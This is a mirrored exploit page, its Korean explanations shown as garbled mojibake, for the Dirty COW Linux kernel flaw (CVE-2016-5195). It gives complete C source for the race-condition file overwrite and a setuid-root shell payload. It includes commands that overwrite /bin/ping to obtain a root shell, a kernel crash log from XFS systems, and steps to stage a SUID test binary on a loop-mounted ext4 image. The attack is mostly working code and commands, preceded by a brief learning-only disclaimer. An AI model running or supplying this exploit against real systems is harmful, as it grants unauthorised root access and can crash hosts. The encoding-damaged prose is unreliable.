## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KONGQBIN-CVE-2016-5195
๊ธฐ๋ก์ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํ๋ฉฐ, ๋ถ๋ฒ์ ์ธ ์ฉ๋๋ก ์ฌ์ฉํ๋ ๊ฒ์ ๊ธ์งํฉ๋๋ค
# ์๋ฆฌ
์ด ์ทจ์ฝ์ ์ ์๋ฆฌ๋ ๋์์ฑ(Concurrency)์ ์ด์ฉํด ๋ํฐ ํ์ด์ง(Dirty Page)๋ฅผ ํ๋ฌ์(Flush)ํ์ฌ, ์๋ ์ฝ๊ธฐ ์ ์ฉ ๊ถํ์ธ ํ์ผ์ ๋ด์ฉ์ด ๋ณ๊ฒฝ๋๋๋ก ํ๋ ๊ฒ์
๋๋ค ๋ง์ฝ ์์ ๋ ํ์ผ์ด `root` ์์ ์ด๊ณ `SUID` ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ์ด๋ฅผ ์ด์ฉํด ๊ถํ ์์น(Privilege Escalation)์ ์ํํ ์ ์์ต๋๋ค
# ์ํฅ ๋ฒ์
* 2016๋
10์ ์ด์ ์ ์ปดํ์ผ๋์๊ณ ๋ฒ์ ์ด 2.6.22 ~ 4.8.3 ์ฌ์ด์ธ ์ปค๋, 2016๋
10์ ์ดํ์๋ ๋๋ถ๋ถ ํจ์น๊ฐ ์ ์ฉ๋์๊ธฐ ๋๋ฌธ
* ๋ฐ๋์ Ext ํ์ผ ์์คํ
์ด์ด์ผ ํ๋ฉฐ, XFS ํ์ผ ์์คํ
์ธ ๊ฒฝ์ฐ xfs ์ฝ๊ธฐ ์ ์ฉ ํ์ด์ง ์ด์์
(Assertion)์ด ํธ๋ฆฌ๊ฑฐ๋์ด ์์คํ
์ด ์ฌ๋ถํ
๋๋ฉฐ DDos ๊ณต๊ฒฉ์ด ๋ฉ๋๋ค
# ๋๊ตฌ ์ฝ๋ (dirtycow_file_payload.c)
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// ํ์ผ์์ ์ฝ์ Payload ๋ด์ฉ๊ณผ ํฌ๊ธฐ๋ฅผ ์ ์ฅํ๋ ๋ฐ ์ฌ์ฉ
char *payload_buf;
size_t payload_size;
// ์ค๋ ๋ B: madvise๋ฅผ ๋ฐ๋ณต ํธ์ถํ์ฌ ์ปค๋์ ํด๋น ๋ฉ๋ชจ๋ฆฌ ํ์ด์ง๋ฅผ ๋ฒ๋ฆฌ๋ผ๊ณ ์ง์
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise ์ค๋ ๋ ์ข
๋ฃ\n");
return NULL;
}
// ์ค๋ ๋ A: /proc/self/mem์ ํตํด ์ฝ๊ธฐ ์ ์ฉ ๋งคํ ์์ญ์ ๋ฐ์ดํฐ๋ฅผ ์ง์์ ์ผ๋ก ๊ธฐ๋ก
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// ๋ฉ๋ชจ๋ฆฌ์ Payload ๋ฒํผ๋ฅผ ๊ธฐ๋ก
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem ์ค๋ ๋ ์ข
๋ฃ\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("์ฌ์ฉ๋ฒ: %s <์ฝ๊ธฐ ์ ์ฉ ๋์ ํ์ผ> <Payload ์
๋ ฅ ํ์ผ>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload ํ์ผ์ ์ด๊ณ ๋ด์ฉ์ ๋ฉ๋ชจ๋ฆฌ๋ก ์ฝ์ด์ด
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload ํ์ผ ์ด๊ธฐ ์คํจ");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload ํ์ผ์ด ๋น์ด ์์ต๋๋ค\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload ํ์ผ ์ฝ๊ธฐ ์คํจ");
return 1;
}
close(pf);
printf("[*] Payload ํ์ผ ๋ก๋ ์ฑ๊ณต: %s (ํฌ๊ธฐ: %zu ๋ฐ์ดํธ)\n", payload_file, payload_size);
// ๋์ ํ์ผ ๋งคํ
f = open(name, O_RDONLY);
if (f < 0) {
perror("๋์ ํ์ผ ์ด๊ธฐ ์คํจ");
return 1;
}
fstat(f, &st);
// Payload ๊ธธ์ด๊ฐ ๋์ ํ์ผ ๊ธธ์ด๋ณด๋ค ํฌ์ง ์๋๋ก ๋ฐฉ์ง
if (payload_size > st.st_size) {
printf("[!] ๊ฒฝ๊ณ : Payload ํฌ๊ธฐ (%zu)๊ฐ ๋์ ํ์ผ ํฌ๊ธฐ (%zu)๋ณด๋ค ํฝ๋๋ค.\n", payload_size, st.st_size);
printf("[!] Dirty COW์ ์ ์๋ฆฌ ๋ฎ์ด์ฐ๊ธฐ ํน์ฑ์, ๋์ ํ์ผ ํฌ๊ธฐ๋ฅผ ์ด๊ณผํ๋ ๋ถ๋ถ์ ํ์ผ ์์คํ
์ ์ํด ์๋ ค์ ๋ฒ๋ ค์ง๋๋ค!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] ๋์ ํ์ผ ๋งคํ ์ฃผ์: %p\n", map);
// ์กฐ๊ฑด ๊ฒฝ์(Race Condition) ์์
pthread_t pth1, pth2;
printf("[*] ์กฐ๊ฑด ๊ฒฝ์(Race Condition) ์์...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] ๊ฒฝ์ ์ข
๋ฃ, %s์ ๋ด์ฉ์ ํ์ธํ์ธ์.\n", name);
free(payload_buf);
return 0;
}
# ๊ถํ ์์น ์ฝ๋ (up.c)
root@kitploit:~
#include <unistd.h>
int main() {
// root ์ ๋ถ ๋ณต์
setuid(0);
setgid(0);
// root bash ์คํ
execl("/bin/bash", "bash", NULL);
return 0;
}
# ์ปดํ์ผ ๋ฐ ์ฌ์ฉ ๋จ๊ณ (EXT)
root@kitploit:~
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# ์์ ์ ํ๊ฒฝ์ ์๋ณธ ping์ ๋ฐฑ์
ํด์ผ ํจ
cp /bin/ping ./ping
# ๊ถํ ์์น ์ํ
./d /bin/ping ./up
# ์ดํ root ์ฌ์ฉ์์ ๋ช
๋ น์ค ํฐ๋ฏธ๋ ํ๋กฌํํธ๊ฐ ๋ํ๋จ
์ ๋จ๊ณ๋ Ubuntu ๋ฐ Debian ๋ฑ ๊ธฐ๋ณธ์ ์ผ๋ก Ext ํ์ผ ์์คํ
์ ์ฌ์ฉํ๋ ๋ฐฐํฌํ์์ ๊ถํ ์์น์ ์ฑ๊ณตํฉ๋๋ค. ๊ทธ ์ด์ ๋ Ext ํ์ผ ์์คํ
์ด ๋ํฐ ํ์ด์ง ์ฝ๊ธฐ/์ฐ๊ธฐ ๊ถํ ๊ฒ์ฆ์ ๋น๊ต์ ๋์จํ๊ฒ ํ๊ธฐ ๋๋ฌธ์
๋๋ค ๋ฐ๋ฉด Red Hat ๊ณ์ด์ฒ๋ผ ๊ธฐ๋ณธ์ ์ผ๋ก XFS ํ์ผ ์์คํ
์ ์ฌ์ฉํ๋ ๋ฐฐํฌํ์์๋ DDos ๊ณต๊ฒฉ์ด ๋์ด ๋ํฐ ํ์ด์ง ๊ฒ์ฆ ์ด์์
(Assertion)์ด ํธ๋ฆฌ๊ฑฐ๋์ด ์์คํ
์ด ์ฌ๋ถํ
๋ฉ๋๋ค ํฌ๋์ ์ด๋ฏธ์ง OCR ๊ฐ์:
root@kitploit:~
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages
์์ธ ๋ก๊ทธ:
root@kitploit:~
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307] cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>] [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948 EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS: 0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404] 000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405] ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406] ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412] [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414] [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415] [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425] [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427] [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435] [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437] [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439] [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440] [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441] [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443] [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445] [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446] [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449] [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450] [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451] [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452] [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456] [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f
[ 6212.157469] RIP [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474] RSP <ffff88003dd63948>
# ์ปดํ์ผ ๋ฐ ์ฌ์ฉ ๋จ๊ณ (XFS)
๋ง์ฝ ์ ๋ง Red Hat ๊ณ์ด ํ๊ฒฝ(์: CentOS 7)๋ง ์๊ณ ๊ผญ ์๋ํด๋ณด๊ณ ์ถ๋ค๋ฉด, ์๋์ผ๋ก Ext ํ์ผ ์์คํ
์ ์์ฑํ์ฌ ๊ถํ ์์น์ ์๋ฎฌ๋ ์ด์
ํ ์ ์์ต๋๋ค
root@kitploit:~
# 32MB์ 0์ผ๋ก ์ฑ์์ง ํ์ผ ์์ฑ (๊ฐ์ ๋์คํฌ๋ก ์ฌ์ฉ)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# ์ด ํ์ผ์ Ext4 ํ์ผ ์์คํ
์ผ๋ก ํฌ๋งท
mkfs.ext4 /tmp/ext4_test.img
# ๋ง์ดํธ ํฌ์ธํธ ๋๋ ํ ๋ฆฌ ์์ฑ
mkdir -p /tmp/ext4_mount
# loop ๋๋ฐ์ด์ค๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ์ ๋์คํฌ ํ์ผ์ ๋๋ ํ ๋ฆฌ์ ๋ง์ดํธ (root ๊ถํ ํ์)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# ๋ง์ดํธ ์ฑ๊ณต ์ฌ๋ถ ํ์ธ
df -T -h | grep ext4_mount
# ping ํ๋ก๊ทธ๋จ์ ์๋๋ฐ์ค ํํฐ์
์ ๋ณต์ฌ
sudo cp /bin/ping /tmp/ext4_mount/
# root ์์ ์ ๋ฐ SUID ๊ถํ ๋ถ์ฌ (4755๋ rwsr-xr-x๋ฅผ ์๋ฏธ)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# ๊ถํ์ด ์ฌ๋ฐ๋ฅด๊ฒ ์ค์ ๋์๋์ง ํ์ธ
ls -la /tmp/ext4_mount/ping
gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# ๊ฒฝ์ ์ข
๋ฃ ํ, ์๋๋ฐ์ค์ ping์ ์คํํ์ฌ root shell ์คํ
/tmp/ext4_mount/ping
์ ๋ฆฌ ๋ก์ง ์ฒจ๋ถ
root@kitploit:~
# ํํฐ์
๋ง์ดํธ ํด์
sudo umount /tmp/ext4_mount
# ๋ง์ดํธ ํฌ์ธํธ ๋ฐ ๊ฐ์ ๋์คํฌ ํ์ผ ์ญ์
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img